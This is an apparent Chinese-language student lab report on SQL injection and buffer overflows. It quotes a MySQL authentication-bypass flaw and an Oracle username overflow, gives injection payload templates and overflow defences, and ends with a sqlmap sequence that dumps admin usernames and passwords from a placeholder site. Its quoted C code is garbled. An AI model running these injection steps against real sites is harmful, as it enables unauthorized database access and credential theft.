SqL注入攻擊實踐

研究緩衝區溢出的原理,至少針對兩種數據庫進行差別化研究

緩衝區溢出原理
緩衝區溢出是指當計算機程序向緩衝區內填充的數據位數超過了緩衝區自己的容量。溢出的數據覆蓋在合法數據上。理想狀況是,程序檢查數據長度而且不容許輸入超過緩衝區長度的字符串。可是絕大多數程序都會假設數據長度老是與所分配的存儲空間相匹配,這就爲緩衝區溢出埋下隱患。
原理
mysql

  • 針對mysql數據庫
    check_connection (sql_parse.cc):
    /*
    Old clients send null-terminated string as password; new clients send
    the size (1 byte) + string (not null-terminated). Hence in case of
    empty
    password both send '\0'.
    */
    uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    passwd++ : strlen(passwd);
    在'client capabilities'標記中提供0x8000,用戶能夠指定passwd_len字段的值。要利用漏洞攻擊選擇0x14(20)做爲值,由於它等於SHA HASH長度,能夠經過認識過程當中的檢查。
    在經過幾個用於確保用戶來自許可主機的檢查後,認證過程就會進入以下代碼:
    /
    check password: it should be empty or valid */
    if (passwd_len == acl_user_tmp->salt_len)
    {
    if (acl_user_tmp->salt_len == 0 ||
    acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
    check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
    check_scramble_323(passwd, thd->scramble,
    (ulong ) acl_user_tmp->salt) == 0)
    {
    acl_user= acl_user_tmp;
    res= 0;
    }
    }
    check_scramble函數會返回認證失敗,但查看check_scramble_323函數咱們能夠看到:
    my_bool
    check_scramble_323(const char scrambled, const char message,
    ulong hash_pass)
    {
    struct rand_struct rand_st;
    ulong hash_message[2];
    char buff[16],
    to,extra; /
    Big enough for check /
    const char pos;
    hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
    randominit(&rand_st,hash_pass[0] ^ hash_message[0],
    hash_pass[1] ^ hash_message[1]);
    to=buff;
    for (pos=scrambled ; pos ; pos++)
    to++=(char) (floor(my_rnd(&rand_st)31)+64);
    extra=(char) (floor(my_rnd(&rand_st)
    31));
    to=buff;
    while (
    scrambled)
    {
    if (
    scrambled++ != (char) (
    to++ ^ extra))
    return 1; /
    Wrong password */
    }
    return 0;
    }
    在這裏,使用零長度的scrambled串可繞過驗證,在函數最後的比較中若是scrambled串沒有字符,使函數返回'0',容許用戶以零長度字符串繞過驗證。
    另外基於堆棧的緩衝區buff能夠被超長的scrambled串溢出,緩衝區被從my_rnd()函數輸出的字符溢出,字符範圍是0x40..0x5f,在部分平臺下可能能夠致使任意代碼執行。
  • Oracle數據庫服務器登陸長用戶名緩衝區溢出漏洞
    ORACLE數據庫服務程序在拷貝用戶名外部數據到本地內存緩衝區時沒有進行充分邊界檢查,遠程攻擊者能夠利用這個漏洞對數據庫進行緩衝區溢出攻擊,可能以Oracle進程權限在系統上執行任意指令。
    Oracle數據庫服務程序中處理驗證請求部分的代碼存在遠程可利用緩衝區溢出,經過傳遞超長用戶名給服務程序,遠程攻擊者能夠觸發基於棧的溢出,精心構建用戶名數據可能以Oralce進程權限在系統上執行任意指令,在Linux/Unix系統上爲"Oracle"權限,而在Windows系統下Local System權限。
    多數Oracle的客戶端應用程序會截斷超長的用戶名再提供給數據庫,所以攻擊者須要寫本身的驗證客戶端來利用這個漏洞。不過NGSSoftware發現有一個客戶端工具LOADPSP能夠容許超長用戶名輸入,用戶能夠用來進行測試,工具在Oracle安裝目錄下的"bin"目錄下。

針對不一樣數據類型,研究SQL注入點的發現與注入技術

  1. 數字型注入點
    形如「http://?ID=55」,這類注入的參數是「數字」,所以稱爲「數字型注入點」。
    此類注入點提交的SQL語句,其原形大體爲:Select * from 表名 where 字段=55
    當咱們提交注入參數爲「http://
    ?ID=55 And[查詢條件]」時,向數據庫提交的完整 SQL 語句爲:
    Select * from 表名 where 字段=55 And [查詢條件]
  2. 字符型注入點
    形如「http://?Class=日期」這類注入的參數是「字符」,所以稱爲「字符型」注入點。
    此類注入點提交的 SQL 語句,其原形大體爲:
    select * from 表名 where 字段='日期'
    當咱們提交注入參數爲「http://
    Class=日期 And[查詢條件]時,向數據庫提交的完整 SQL 語句爲」:
    select * from 表名 where 字段='日期' and [查詢條件]
  3. 搜索型注入點
    這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,通常在連接地址中有「keyword=關鍵字」,有的不顯示的連接地址,而是直接經過搜索框表單提交。
    此類注入點提交的 SQL 語句,其原形大體爲:
    select * from 表名 where 字段 like '%關鍵字%'
    當咱們提交注入參數爲「keyword='and[查詢條件] and '%'=',則向數據庫提交的完事SQL語句爲:
    select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'

研究緩衝區溢出的防範方法,至少針對兩種編程語言進行差別化研究

根據緩衝區溢出攻擊的步驟,可將經常使用的緩衝區溢出攻擊檢測技術分爲如下3 種類型:基於輸入字符串的檢測方法,基於保護堆棧中的返回地址的檢測方法和基於監視系統調用的檢測方法算法

  • 基於輸入字符串的檢測方法
    對輸入的字符串進行檢測,肯定其爲溢出攻擊字符串時採起阻攔措施,使攻擊者沒法注入攻擊代碼。通常有如下3 種方法構建溢出攻擊字符串
    第1 種溢出攻擊字符串適用於緩衝區大於ShellCode 長度的狀況;第2 種溢出攻擊字符串通常用於緩衝區小於ShellCode 長度的狀況;第3 種方法是將ShellCode 放在環境變量裏,是目前較爲經常使用的方法。
  • 基於保護堆棧中返回地址的檢測方法
    緩衝區溢出攻擊最關鍵的步驟是要經過修改函數返回地址來改變程序的流程,所以,在函數調用返回前,經過檢查返回地址是否被修改能夠判斷是否有緩衝區溢出攻擊發生。
    緩衝區溢出攻擊佔了遠程網絡攻擊的絕大多數,這種攻擊可使得一個匿名的Internet用戶有機會得到一臺主機的部分或所有的控制權。若是能有效地消除緩衝區溢出的漏洞,則很大一部分的安全威脅能夠獲得緩解。 目前有三種基本的方法保護緩衝區免受緩衝區溢出的攻擊和影響: 一、經過操做系統使得緩衝區不可執行,從而阻止攻擊者植入攻擊代碼; 二、強制寫正確的代碼的方法; 三、利用編譯器的邊界檢查來實現緩衝區的保護,使得緩衝區溢出不可能出現,從而徹底消除了緩衝區溢出的威脅。

數據庫注入工具

  • sqlmap
  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
      判斷id參數是否存在注入:結果中包含 「id」 is Vulnerable 字段表示存在注入
      存在注入,下面的步驟才能夠執行成功~
  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
      列舉能列出的全部數據庫名
  3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
      列出當前使用的數據庫名,假設列出「sqltest」數據庫  
  4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
      判斷該注入點是否有管理員權限:返回true 表示是管理員
  5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
      獲取sqltest中的全部表,假設有"admin"表
  6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
      列舉表admin的字段(列名),假設存在"username","password"字段
  7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
      下載字段username,password的值,若詢問是否破解md5加密,選擇no便可
      至此,對一個簡單的注入點(GET方式),如今就已經獲得了咱們想要的數據
    【*】注入demo以後會補上截圖
  • 超級sql注入 超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具,支持出如今HTTP協議任意位置的SQL注入,支持各類類型的SQL注入,支持HTTPS模式注入。 超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具。 超級SQL注入工具支持自動識別SQL注入,並自動配置,如程序沒法自動識別,還可人工干預識別注入,並標記注入位置。 超級SQL注入工具支持出如今HTTP協議任意位置的SQL注入,支持各類類型的SQL注入,支持HTTPS模式注入。 超級SQL注入工具支持Bool型盲注、錯誤顯示注入、Union注入等方式獲取數據。 超級SQL注入工具支持Access、MySQL5以上版本、SQLServer、Oracle等數據庫。 超級SQL注入工具支持手動靈活的進行SQL注入繞過,可自定義進行字符替換等繞過注入防禦。 超級SQL注入工具支持批量掃描SQL注入漏洞,可導入域名爬行一次連接後掃描,採用類似度算法,漏洞、誤報率低於1%。
相關文章
相關標籤/搜索